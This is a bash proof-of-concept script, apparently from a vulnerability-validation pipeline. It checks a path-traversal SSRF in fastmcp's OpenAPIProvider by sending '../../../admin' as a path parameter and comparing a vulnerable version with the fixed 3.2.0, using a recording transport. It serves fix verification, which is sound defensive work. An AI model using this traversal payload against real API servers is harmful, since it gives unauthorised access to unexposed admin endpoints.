#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Install both versions in separate venvs
echo "[+] Setting up virtual environments..."
python3 -m venv venv_vuln >/dev/null 2>&1 || true
python3 -m venv venv_fixed >/dev/null 2>&1 || true

venv_vuln/bin/pip install -q 'fastmcp<3.2.0' httpx 2>&1 | tail -1
venv_fixed/bin/pip install -q 'fastmcp==3.2.0' httpx 2>&1 | tail -1

VULN_VERSION=$(venv_vuln/bin/python -c "import fastmcp; print(fastmcp.__version__)")
FIXED_VERSION=$(venv_fixed/bin/python -c "import fastmcp; print(fastmcp.__version__)")

echo "[+] Vulnerable version: $VULN_VERSION"
echo "[+] Fixed version: $FIXED_VERSION"

# Run the end-to-end OpenAPIProvider → OpenAPITool test for each version
for label in vuln fixed; do
    VENV="venv_$label"
    OUT_LOG="$LOGS/${label}_result.json"
    VERSION=$(eval echo \$${label^^}_VERSION)
    echo "[+] Testing $label build ($VERSION) via OpenAPIProvider → OpenAPITool..."
    $VENV/bin/python -c "
import asyncio
import json
import sys
import httpx
from fastmcp.server.providers.openapi import OpenAPIProvider

class RecordingTransport(httpx.AsyncBaseTransport):
    def __init__(self):
        self.last_request = None
    async def handle_async_request(self, request):
        self.last_request = request
        return httpx.Response(200, json={'status': 'ok'})

transport = RecordingTransport()
client = httpx.AsyncClient(base_url='http://127.0.0.1:9876/api/v1/', transport=transport)

spec = {
    'openapi': '3.0.0',
    'info': {'title': 'Test API', 'version': '1.0.0'},
    'servers': [{'url': 'http://127.0.0.1:9876/api/v1/'}],
    'paths': {
        '/users/{id}/profile': {
            'get': {
                'operationId': 'get_user_profile',
                'parameters': [
                    {'name': 'id', 'in': 'path', 'required': True, 'schema': {'type': 'string'}}
                ],
                'responses': {'200': {'description': 'OK'}}
            }
        }
    }
}

async def main():
    provider = OpenAPIProvider(openapi_spec=spec, client=client)
    tool = await provider.get_tool('get_user_profile')
    result = await tool.run({'id': '../../../admin'})
    url = str(transport.last_request.url)
    path = transport.last_request.url.path
    
    # Determine traversal outcome
    # In the vulnerable build the path resolves outside /api/v1/users/
    # In the fixed build the traversal sequences are percent-encoded and stay inside /api/v1/users/
    escaped = not path.startswith('/api/v1/users/')
    reached_admin = '/admin' in path and not path.startswith('/api/v1/users/')
    
    record = {
        'version': '$VERSION',
        'label': '$label',
        'url': url,
        'path': path,
        'escaped_api_prefix': escaped,
        'reached_unexposed_endpoint': reached_admin,
    }
    print(json.dumps(record, indent=2))

asyncio.run(main())
" > "$OUT_LOG"
    cat "$OUT_LOG"
    echo ""
done

# Analyze results
echo "[+] Analyzing results..."
VULN_ESCAPED=$(venv_vuln/bin/python -c "import json,sys; print(json.load(open('$LOGS/vuln_result.json'))['escaped_api_prefix'])")
VULN_REACHED=$(venv_vuln/bin/python -c "import json,sys; print(json.load(open('$LOGS/vuln_result.json'))['reached_unexposed_endpoint'])")
VULN_URL=$(venv_vuln/bin/python -c "import json,sys; print(json.load(open('$LOGS/vuln_result.json'))['url'])")

FIXED_ESCAPED=$(venv_fixed/bin/python -c "import json,sys; print(json.load(open('$LOGS/fixed_result.json'))['escaped_api_prefix'])")
FIXED_REACHED=$(venv_fixed/bin/python -c "import json,sys; print(json.load(open('$LOGS/fixed_result.json'))['reached_unexposed_endpoint'])")
FIXED_URL=$(venv_fixed/bin/python -c "import json,sys; print(json.load(open('$LOGS/fixed_result.json'))['url'])")

echo ""
echo "=== Vulnerable ($VULN_VERSION) ==="
echo "  URL: $VULN_URL"
echo "  Escaped API prefix: $VULN_ESCAPED"
echo "  Reached unexposed /admin: $VULN_REACHED"

echo ""
echo "=== Fixed ($FIXED_VERSION) ==="
echo "  URL: $FIXED_URL"
echo "  Escaped API prefix: $FIXED_ESCAPED"
echo "  Reached unexposed /admin: $FIXED_REACHED"

# Write runtime manifest
MANIFEST="$LOGS/runtime_manifest.json"
venv_vuln/bin/python -c "
import json
manifest = {
    'vulnerable_version': '$VULN_VERSION',
    'fixed_version': '$FIXED_VERSION',
    'vulnerable_url': '$VULN_URL',
    'fixed_url': '$FIXED_URL',
    'vulnerable_escaped': $VULN_ESCAPED,
    'fixed_escaped': $FIXED_ESCAPED,
    'vulnerable_reached_admin': $VULN_REACHED,
    'fixed_reached_admin': $FIXED_REACHED,
}
with open('$MANIFEST', 'w') as f:
    json.dump(manifest, f, indent=2)
" 2>/dev/null || true

# Write validation verdict JSON (mandatory artifact)
VERDICT_FILE="$ROOT/repro/validation_verdict.json"
venv_vuln/bin/python -c "
import json
verdict = {
    'verdict': 'confirmed' if ('$VULN_ESCAPED' == 'True' and '$FIXED_ESCAPED' == 'False' and '$VULN_REACHED' == 'True' and '$FIXED_REACHED' == 'False') else 'unconfirmed',
    'vulnerable_build': {
        'version': '$VULN_VERSION',
        'indicator': 'path_traversal_ssrf',
        'details': 'Client-supplied path parameter containing traversal sequence escaped the /api/v1/ prefix and reached an unexposed endpoint.',
        'url': '$VULN_URL',
        'escaped_api_prefix': $VULN_ESCAPED,
        'reached_unexposed_endpoint': $VULN_REACHED
    },
    'fixed_build': {
        'version': '$FIXED_VERSION',
        'indicator': 'traversal_blocked',
        'details': 'Client-supplied path parameter containing traversal sequences was blocked/encoded. Request stayed within the configured API prefix.',
        'url': '$FIXED_URL',
        'escaped_api_prefix': $FIXED_ESCAPED,
        'reached_unexposed_endpoint': $FIXED_REACHED
    }
}
with open('$VERDICT_FILE', 'w') as f:
    json.dump(verdict, f, indent=2)
" 2>/dev/null || true

# Verdict
if [ "$VULN_ESCAPED" = "True" ] && [ "$FIXED_ESCAPED" = "False" ] && [ "$VULN_REACHED" = "True" ] && [ "$FIXED_REACHED" = "False" ]; then
    echo ""
    echo "[+] VERDICT: CONFIRMED"
    echo "    Path traversal SSRF reproducible on $VULN_VERSION, blocked on $FIXED_VERSION."
    exit 0
else
    echo ""
    echo "[-] VERDICT: UNEXPECTED"
    echo "    Vulnerability not clearly reproduced or fix not verified."
    exit 1
fi
